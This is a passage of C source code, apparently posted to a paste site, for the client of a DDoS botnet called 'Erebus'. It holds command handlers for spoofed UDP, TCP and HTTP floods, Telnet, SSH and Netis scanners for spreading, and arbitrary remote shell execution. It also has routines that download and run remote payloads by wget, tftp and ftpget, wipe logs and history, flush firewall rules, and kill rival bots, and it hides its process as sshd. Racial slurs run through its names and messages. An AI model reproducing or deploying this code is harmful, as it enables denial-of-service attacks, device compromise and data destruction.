  2865. struct timeval tv;
  2866. socklen_t lon;
  2867. int valopt, res;
  2868. unsigned char *watwat = malloc(1024);
  2869. memset(watwat, 0, 1024);
  2870. int end = time(NULL) + end_time;
  2871. while(end > time(NULL))
  2872. {
  2873. for(i = 0; i < max; i++)
  2874. {
  2875. switch(fds[i].state)
  2876. {
  2877. case 0:
  2878. {
  2879. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2880. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2881. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2882. else fds[i].state = 1;
  2883. }
  2884. break;
  2885. case 1:
  2886. {
  2887. FD_ZERO(&myset);
  2888. FD_SET(fds[i].fd, &myset);
  2889. tv.tv_sec = 0;
  2890. tv.tv_usec = 10000;
  2891. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2892. if(res == 1)
  2893. {
  2894. lon = sizeof(int);
  2895. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2896. if(valopt)
  2897. {
  2898. close(fds[i].fd);
  2899. fds[i].state = 0;
  2900. } else {
  2901. fds[i].state = 2;
  2902. }
  2903. } else if(res == -1)
  2904. {
  2905. close(fds[i].fd);
  2906. fds[i].state = 0;
  2907. }
  2908. }
  2909. break;
  2910. case 2:
  2911. {
  2912. FD_ZERO(&myset);
  2913. FD_SET(fds[i].fd, &myset);
  2914. tv.tv_sec = 0;
  2915. tv.tv_usec = 10000;
  2916. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2917. if(res != 0)
  2918. {
  2919. close(fds[i].fd);
  2920. fds[i].state = 0;
  2921. }
  2922. }
  2923. break;
  2924. }
  2925. }
  2926. }
  2927. }
  2928. void spoofTest(unsigned char *target, int port)
  2929. {
  2930. struct sockaddr_in dest_addr;
  2931.  
  2932. dest_addr.sin_family = AF_INET;
  2933. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2934. else dest_addr.sin_port = htons(port);
  2935. if(getHost(target, &dest_addr.sin_addr)) return;
  2936. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2937.  
  2938.  
  2939. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2940. if(!sockfd)
  2941. {
  2942. NiggerPrint(NiggahPrinter, "Failed opening raw socket.");
  2943. return;
  2944. }
  2945.  
  2946. int tmp = 1;
  2947. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2948. {
  2949. NiggerPrint(NiggahPrinter, "Failed setting raw headers mode.");
  2950. return;
  2951. }
  2952.  
  2953. int counter = 50;
  2954. while(counter--)
  2955. {
  2956. srand(time(NULL) ^ rand_cmwc());
  2957. init_rand(rand());
  2958. }
  2959.  
  2960. in_addr_t netmask;
  2961.  
  2962. netmask = ( ~((in_addr_t) -1) );
  2963.  
  2964. char *test = "";
  2965. szprintf(test,"%s",inet_ntoa(ourPublicIP));
  2966.  
  2967. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(test)];
  2968. struct iphdr *iph = (struct iphdr *)packet;
  2969. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2970.  
  2971. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + strlen(test));
  2972.  
  2973. udph->len = htons(sizeof(struct udphdr) + strlen(test));
  2974. udph->source = rand_cmwc();
  2975. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2976. udph->check = 0;
  2977.  
  2978. szprintf((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), "%s", test);
  2979.  
  2980. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2981.  
  2982. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2983. }
  2984. void updatemybins(){
  2985. int pid;
  2986.  
  2987. if ( (pid = fork()) == 0) {
  2988. system("cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *");
  2989. sleep(20);
  2990. } else {
  2991. printf("%d\n", pid);
  2992. }
  2993.  
  2994. return;
  2995. }
  2996. void botkiller(){
  2997. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  2998. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  2999. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  3000. char hacker[80];
  3001. char botkill[80];
  3002. char buf[128];
  3003. int i, num_tmps, j;
  3004. for(j = 0; j < num_tmps; j++)
  3005. {
  3006. memset(buf, 0, 128);
  3007. if(j == 0)
  3008. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  3009. else
  3010. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  3011. system(buf);
  3012. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  3013. system(botkill);
  3014. return;
  3015. }
  3016. sleep(5);
  3017. }
  3018. void RemoveTMP() {
  3019. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  3020. system("rm -rf /var/log/wtmp");
  3021. system("history -c;history -w");
  3022. system("rm -rf /var/log/wtmp");
  3023. system("rm -rf /tmp/*");
  3024. system("history -c");
  3025. system("rm -rf ~/.bash_history");
  3026. system("rm -rf /bin/netstat");
  3027. system("history -w");
  3028. system("pkill -9 busybox");
  3029. system("pkill -9 perl");
  3030. system("service iptables stop");
  3031. system("/sbin/iptables -F;/sbin/iptables -X");
  3032. system("wget -q http://autoinstaller.us/c -0 .c; chmod +x .c; nohup ./.c </dev/null >/dev/null 2>&1");
  3033.  
  3034. }
  3035. void processCmd(int argc, unsigned char *argv[]){
  3036. int x;
  3037. if(!strcmp(argv[0], "PYTHON"))
  3038. {
  3039. if(argc != 2)
  3040. {
  3041. NiggerPrint(NiggahPrinter, "PYTHON RANGE [1,2,3]");
  3042. return;
  3043. }
  3044. if(!strcmp(argv[1], "0FF"))
  3045. {
  3046. system("pkill -9 python");
  3047. system("history -c");
  3048. }
  3049. if(!strcmp(argv[1], "DOWNLOAD"))
  3050. {
  3051. system("yum install python-paramiko -y;apt-get install python-paramiko -y;mkdir /.tmp;cd /.tmp;wget http://daddyhackingteam.com/scan.py");
  3052. NiggerPrint(NiggahPrinter, "Installing Shit For Python Scannah");
  3053. }
  3054. if(!strcmp(argv[1], "1"))
  3055. {
  3056. system("cd /.tmp;python scan.py 200 B 119.93 3");
  3057. NiggerPrint(NiggahPrinter, "Starting Pythong Scannah (119.93)");
  3058. }
  3059. if(!strcmp(argv[1], "2"))
  3060. {
  3061. system("cd /.tmp;python scan.py 200 B 49.144 3");
  3062. NiggerPrint(NiggahPrinter, "Starting Pythong Scannah (49.144)");
  3063. }
  3064. if(!strcmp(argv[1], "3"))
  3065. {
  3066. system("cd /.tmp;python scan.py 200 LUCKY2 1 3");
  3067. NiggerPrint(NiggahPrinter, "Starting Pythong Scannah (LUCKY)");
  3068. }
  3069. }
  3070. if(!strcmp(argv[0], "NIGGERKILL"))
  3071. {
  3072. if(!listFork())
  3073. {
  3074. NiggerPrint(NiggahPrinter, "Killing Bots");
  3075. botkiller();
  3076. RemoveTMP();
  3077. _exit(0);
  3078. }
  3079. }
  3080. if(!strcmp(argv[0], "PING"))
  3081. {
  3082. NiggerPrint(NiggahPrinter, "PONG!");
  3083. return;
  3084. }
  3085.  
  3086. if(!strcmp(argv[0], "SPOOF"))
  3087. {
  3088. if(argc > 2){
  3089. char *ip = argv[1];
  3090. int port = argv[2];
  3091. spoofTest(ip,port);
  3092. }
  3093. return;
  3094. }
  3095.  
  3096. if(!strcmp(argv[0], "TABLE"))
  3097. {
  3098. NiggerPrint(NiggahPrinter, "%d", getdtablesize());
  3099. return;
  3100. }
  3101.  
  3102. if(!strcmp(argv[0], "UPDATE"))
  3103. {
  3104. NiggerPrint(NiggahPrinter, "UPDATING");
  3105. NiggerPrint(NiggahPrinter, "SUCCESFULLY UPDATED BINS");
  3106. updatemybins(1);
  3107. return;
  3108. }
  3109.  
  3110. if(!strcmp(argv[0], "TELSCAN"))
  3111. {
  3112. if(argc != 2)
  3113. {
  3114. NiggerPrint(NiggahPrinter, "TELNET SCANNER ON | OFF");
  3115. return;
  3116. }
  3117. if(!strcmp(argv[1], "OFF"))
  3118. {
  3119. if(scanPid == 0) return;
  3120. kill(scanPid, 9);
  3121. NiggerPrint(NiggahPrinter, "TELNET SCANNER OFF");
  3122. scanPid = 0;
  3123. }
  3124. if(!strcmp(argv[1], "ON"))
  3125. {
  3126. if(scanPid != 0) return;
  3127. uint32_t parent;
  3128. parent = fork();
  3129. int threads = 1000;
  3130. int timeout = 10;
  3131. if (parent > 0) { scanPid = parent; return;}
  3132. else if(parent == -1) return;
  3133. NiggerPrint(NiggahPrinter, "TELNET SCANNER Starting On -> %s", inet_ntoa(ourIP));
  3134. TelnetSkannahNigga(timeout, threads);
  3135. _exit(0);
  3136. }
  3137. }
  3138. if(!strcmp(argv[0], "NETISSCAN"))
  3139. {
  3140. if(argc != 2)
  3141. {
  3142. NiggerPrint(NiggahPrinter, "NETIS SCANNER ON | OFF");
  3143. return;
  3144. }
  3145. if(!strcmp(argv[1], "OFF"))
  3146. {
  3147. if(scanPid == 0) return;
  3148. kill(scanPid, 9);
  3149. NiggerPrint(NiggahPrinter, "NETIS SCANNER OFF");
  3150. scanPid = 0;
  3151. }
  3152. if(!strcmp(argv[1], "ON"))
  3153. {
  3154. if(scanPid != 0) return;
  3155. uint32_t parent;
  3156. parent = fork();
  3157. int threads = 1000;
  3158. int timeout = 10;
  3159. if (parent > 0) { scanPid = parent; return;}
  3160. else if(parent == -1) return;
  3161. NiggerPrint(NiggahPrinter, "NETIS SCANNER Starting On -> %s", inet_ntoa(ourIP));
  3162. NetisSkannahNigga(1);
  3163. _exit(0);
  3164. }
  3165. }
  3166.  
  3167. if(!strcmp(argv[0], "GETLOCALIP"))
  3168. {
  3169. NiggerPrint(NiggahPrinter, "My IP: %s", inet_ntoa(ourIP));
  3170. return;
  3171. }
  3172.  
  3173. if(!strcmp(argv[0], "GETPUBLICIP"))
  3174. {
  3175. NiggerPrint(NiggahPrinter, "My Public IP: %s", inet_ntoa(ourPublicIP));
  3176. return;
  3177. }
  3178.  
  3179. if(!strcmp(argv[0], "UDP"))
  3180. {
  3181. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  3182. {
  3183. NiggerPrint(NiggahPrinter, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval>");
  3184. return;
  3185. }
  3186.  
  3187. unsigned char *ip = argv[1];
  3188. int port = atoi(argv[2]);
  3189. int time = atoi(argv[3]);
  3190. int spoofed = atoi(argv[4]);
  3191. int packetsize = atoi(argv[5]);
  3192. int pollinterval = (argc > 6 ? atoi(argv[6]) : 10);
  3193.  
  3194. if(strstr(ip, ",") != NULL)
  3195. {
  3196. unsigned char *hi = strtok(ip, ",");
  3197. while(hi != NULL)
  3198. {
  3199. if(!listFork())
  3200. {
  3201. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  3202. _exit(0);
  3203. }
  3204. hi = strtok(NULL, ",");
  3205. }
  3206. } else {
  3207. if (!listFork()){
  3208. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  3209. _exit(0);
  3210. }
  3211. }
  3212. return;
  3213. }
  3214.  
  3215. if(!strcmp(argv[0], "TCP"))
  3216. {
  3217. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  3218. {
  3219. NiggerPrint(NiggahPrinter, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  3220. return;
  3221. }
  3222.  
  3223. unsigned char *ip = argv[1];
  3224. int port = atoi(argv[2]);
  3225. int time = atoi(argv[3]);
  3226. int spoofed = atoi(argv[4]);
  3227. unsigned char *flags = argv[5];
  3228.  
  3229. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  3230. int psize = argc > 6 ? atoi(argv[6]) : 0;
  3231.  
  3232. if(strstr(ip, ",") != NULL)
  3233. {
  3234. unsigned char *hi = strtok(ip, ",");
  3235. while(hi != NULL)
  3236. {
  3237. if(!listFork())
  3238. {
  3239. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  3240. _exit(0);
  3241. }
  3242. hi = strtok(NULL, ",");
  3243. }
  3244. } else {
  3245. if (!listFork()) {
  3246. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  3247. _exit(0);
  3248. }
  3249. }
  3250. }
  3251. if (!strcmp(argv[0], "HTTP"))
  3252. {
  3253. // !* HTTP METHOD TARGET PORT PATH TIME POWER
  3254. if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  3255. if (listFork()) return;
  3256. sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  3257. exit(0);
  3258. }
  3259.  
  3260. if(!strcmp(argv[0], "VIEWPAGE"))
  3261. {
  3262. if(argc < 2){
  3263. NiggerPrint(NiggahPrinter, "VIEWPAGE <http ip url>");
  3264. return;
  3265. }else{
  3266. char *url = argv[1];
  3267. char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  3268. system("mkdir /tmp/yuagwduiagwdhg");
  3269. char *command[80];
  3270. sprintf(command,"wget -O /tmp/yuagwduiagwdhg/a -U \"");
  3271. strcat(command, UA);
  3272. strcat(command,"\" -q ");
  3273. strcat(command, url);
  3274. system(command);
  3275. system("rm -fr /tmp/yuagwduiagwdhg");
  3276. }
  3277. }
  3278.  
  3279. if(!strcmp(argv[0], "CNC"))
  3280. {
  3281. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3282. {
  3283. NiggerPrint(NiggahPrinter, "CNC <target> <port> <time>");
  3284. return;
  3285. }
  3286.  
  3287. unsigned char *ip = argv[1];
  3288. int port = atoi(argv[2]);
  3289. int time = atoi(argv[3]);
  3290.  
  3291. if(strstr(ip, ",") != NULL)
  3292. {
  3293. unsigned char *hi = strtok(ip, ",");
  3294. while(hi != NULL)
  3295. {
  3296. if(!listFork())
  3297. {
  3298. sendCNC(hi, port, time);
  3299. close(NiggahPrinter);
  3300. _exit(0);
  3301. }
  3302. hi = strtok(NULL, ",");
  3303. }
  3304. } else {
  3305. if (listFork()) { return; }
  3306.  
  3307. sendCNC(ip, port, time);
  3308. _exit(0);
  3309. }
  3310. }
  3311.  
  3312. if(!strcmp(argv[0], "STD"))
  3313. {
  3314. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  3315. {
  3316. NiggerPrint(NiggahPrinter, "STD <target> <port> <time>");
  3317. return;
  3318. }
  3319.  
  3320. unsigned char *ip = argv[1];
  3321. int port = atoi(argv[2]);
  3322. int time = atoi(argv[3]);
  3323.  
  3324. if(strstr(ip, ",") != NULL)
  3325. {
  3326. unsigned char *hi = strtok(ip, ",");
  3327. while(hi != NULL)
  3328. {
  3329. if(!listFork())
  3330. {
  3331. sendSTD(hi, port, time);
  3332. _exit(0);
  3333. }
  3334. hi = strtok(NULL, ",");
  3335. }
  3336. } else {
  3337. if (listFork()) { return; }
  3338.  
  3339. sendSTD(ip, port, time);
  3340. _exit(0);
  3341. }
  3342.  
  3343. }
  3344. if(!strcmp(argv[0], "SSHSCAN"))
  3345. {
  3346. if(argc != 2)
  3347. {
  3348. NiggerPrint(NiggahPrinter, "SSH SCANNER ON | OFF");
  3349. return;
  3350. }
  3351. if(!strcmp(argv[1], "OFF"))
  3352. {
  3353. if(scanPid == 0) return;
  3354. kill(scanPid, 9);
  3355. NiggerPrint(NiggahPrinter, "SSH SCANNER OFF");
  3356. scanPid = 0;
  3357. }
  3358. if(!strcmp(argv[1], "ON"))
  3359. {
  3360. if(scanPid != 0) return;
  3361. uint32_t parent;
  3362. parent = fork();
  3363. int threads = 1000;
  3364. int timeout = 10;
  3365. if (parent > 0) { scanPid = parent; return;}
  3366. else if(parent == -1) return;
  3367. NiggerPrint(NiggahPrinter, "SSH SCANNER Starting On -> %s", inet_ntoa(ourIP));
  3368. SSHSkannahNigga(1);
  3369. _exit(0);
  3370. }
  3371. }
  3372.  
  3373. if(!strcmp(argv[0], "STOPATTK"))
  3374. {
  3375. int killed = 0;
  3376. unsigned long i;
  3377. for (i = 0; i < numpids; i++) {
  3378. if (pids[i] != 0 && pids[i] != getpid()) {
  3379. kill(pids[i], 9);
  3380. killed++;
  3381. }
  3382. }
  3383.  
  3384. if(killed > 0)
  3385. {
  3386. NiggerPrint(NiggahPrinter, "Killed %d.", killed);
  3387. } else {
  3388. NiggerPrint(NiggahPrinter, "None Killed.");
  3389. }
  3390. }
  3391.  
  3392. if(!strcmp(argv[0], "LOLNOGTFO"))
  3393. {
  3394. exit(0);
  3395. }
  3396. }
  3397. int initConnection()
  3398. {
  3399. unsigned char server[4096];
  3400. memset(server, 0, 4096);
  3401. if(NiggahPrinter) { close(NiggahPrinter); NiggahPrinter = 0; }
  3402. if(NiggerahPrinter + 1 == SERVER_LIST_SIZE) NiggerahPrinter = 0;
  3403. else NiggerahPrinter++;
  3404.  
  3405. strcpy(server, commServer[NiggerahPrinter]);
  3406. int port = Server_Botport;
  3407. if(strchr(server, ':') != NULL)
  3408. {
  3409. port = atoi(strchr(server, ':') + 1);
  3410. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  3411. }
  3412.  
  3413. NiggahPrinter = socket(AF_INET, SOCK_STREAM, 0);
  3414.  
  3415. if(!connectTimeout(NiggahPrinter, server, port, 30)) return 1;
  3416.  
  3417. return 0;
  3418. }
  3419.  
  3420. int getOurIP()
  3421. {
  3422. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  3423. if(sock == -1) return 0;
  3424.  
  3425. struct sockaddr_in serv;
  3426. memset(&serv, 0, sizeof(serv));
  3427. serv.sin_family = AF_INET;
  3428. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  3429. serv.sin_port = htons(53);
  3430.  
  3431. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  3432. if(err == -1) return 0;
  3433.  
  3434. struct sockaddr_in name;
  3435. socklen_t namelen = sizeof(name);
  3436. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  3437. if(err == -1) return 0;
  3438.  
  3439. ourIP.s_addr = name.sin_addr.s_addr;
  3440.  
  3441. int cmdline = open("/proc/net/route", O_RDONLY);
  3442. char linebuf[4096];
  3443. while(fdgets(linebuf, 4096, cmdline) != NULL)
  3444. {
  3445. if(strstr(linebuf, "\t00000000\t") != NULL)
  3446. {
  3447. unsigned char *pos = linebuf;
  3448. while(*pos != '\t') pos++;
  3449. *pos = 0;
  3450. break;
  3451. }
  3452. memset(linebuf, 0, 4096);
  3453. }
  3454. close(cmdline);
  3455.  
  3456. if(*linebuf)
  3457. {
  3458. int i;
  3459. struct ifreq ifr;
  3460. strcpy(ifr.ifr_name, linebuf);
  3461. ioctl(sock, SIOCGIFHWADDR, &ifr);
  3462. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  3463. }
  3464.  
  3465. close(sock);
  3466. }
  3467. char *getBuild()
  3468. {
  3469. if(access("/usr/bin/python", F_OK) != -1)
  3470. {
  3471. return "SERVER";
  3472. }
  3473. else
  3474. {
  3475. return "ROUTER";
  3476. }
  3477. }
  3478. int main(int argc, unsigned char *argv[])
  3479. {
  3480. char *mynameis = "";
  3481. if(access("/usr/bin/python", F_OK) != -1){
  3482. mynameis = "sshd";
  3483. } else {
  3484. mynameis = "/usr/sbin/dropbear";
  3485. }
  3486. if(geteuid() == 0){
  3487. userID = 0;
  3488. }
  3489. char *Buildz = getBuild();
  3490. if(Buildz == "SERVER")
  3491. {
  3492.  
  3493. } else {
  3494.  
  3495. }
  3496. if(SERVER_LIST_SIZE <= 0) return 0;
  3497. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  3498. strncpy(argv[0],"",strlen(argv[0]));
  3499. sprintf(argv[0], mynameis);
  3500. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  3501. srand(time(NULL) ^ getpid());
  3502. init_rand(time(NULL) ^ getpid());
  3503. pid_t pid1;
  3504. pid_t pid2;
  3505. int status;
  3506. getOurIP();
  3507. if (pid1 = fork()) {
  3508. waitpid(pid1, &status, 0);
  3509. exit(0);
  3510. } else if (!pid1) {
  3511. if (pid2 = fork()) {
  3512. exit(0);
  3513. } else if (!pid2) {
  3514. } else {
  3515. //N
  3516. }
  3517. } else {
  3518. //N
  3519. }
  3520. setsid();
  3521. chdir("/");
  3522. signal(SIGPIPE, SIG_IGN);
  3523. while(1)
  3524. {
  3525. if(initConnection()) { sleep(5); continue; }
  3526. NiggerPrint(NiggahPrinter, "\x1b[36;1mErebus Imprisoned Another Nigger > \x1b[1;31m| \x1b[1;37mIP: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mType: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mVersion: \x1b[1;35m%s", inet_ntoa(ourIP), getBuild(), VERSION);
  3527. botkiller();
  3528. RemoveTMP();
  3529. char commBuf[4096];
  3530. int got = 0;
  3531. int i = 0;
  3532. while((got = recvLine(NiggahPrinter, commBuf, 4096)) != -1)
  3533. {
  3534. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  3535. unsigned int *newpids, on;
  3536. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  3537. pids[on - 1] = 0;
  3538. numpids--;
  3539. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  3540. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  3541. free(pids);
  3542. pids = newpids;
  3543. }
  3544. commBuf[got] = 0x00;
  3545. trim(commBuf);
  3546. if(strstr(commBuf, "PING") == commBuf)
  3547. {
  3548. NiggerPrint(NiggahPrinter, "PONG");
  3549. continue;
  3550. }
  3551. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  3552. unsigned char *message = commBuf;
  3553. if(*message == '!')
  3554. {
  3555. unsigned char *nickMask = message + 1;
  3556. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  3557. if(*nickMask == 0x00) continue;
  3558. *(nickMask) = 0x00;
  3559. nickMask = message + 1;
  3560. message = message + strlen(nickMask) + 2;
  3561. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  3562. unsigned char *command = message;
  3563. while(*message != ' ' && *message != 0x00) message++;
  3564. *message = 0x00;
  3565. message++;
  3566. unsigned char *tmpcommand = command;
  3567. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  3568. if(strcmp(command, "CMD") == 0)
  3569. {
  3570. unsigned char buf[1024];
  3571. int command;
  3572. if (listFork()) continue;
  3573. memset(buf, 0, 1024);
  3574. szprintf(buf, "%s 2>&1", message);
  3575. command = fdpopen(buf, "r");
  3576. while(fdgets(buf, 1024, command) != NULL)
  3577. {
  3578. trim(buf);
  3579. memset(buf, 0, 1024);
  3580. sleep(1);
  3581. }
  3582. fdpclose(command);
  3583. exit(0);
  3584. }
  3585. unsigned char *params[10];
  3586. int paramsCount = 1;
  3587. unsigned char *pch = strtok(message, " ");
  3588. params[0] = command;
  3589. while(pch)
  3590. {
  3591. if(*pch != '\n')
  3592. {
  3593. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  3594. memset(params[paramsCount], 0, strlen(pch) + 1);
  3595. strcpy(params[paramsCount], pch);
  3596. paramsCount++;
  3597. }
  3598. pch = strtok(NULL, " ");
  3599. }
  3600. processCmd(paramsCount, params);
  3601. if(paramsCount > 1)
  3602. {
  3603. int q = 1;
  3604. for(q = 1; q < paramsCount; q++)
  3605. {
  3606. free(params[q]);
  3607. }
  3608. }
  3609. }
  3610. }
  3611. }
  3612. return 0;
  3613. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement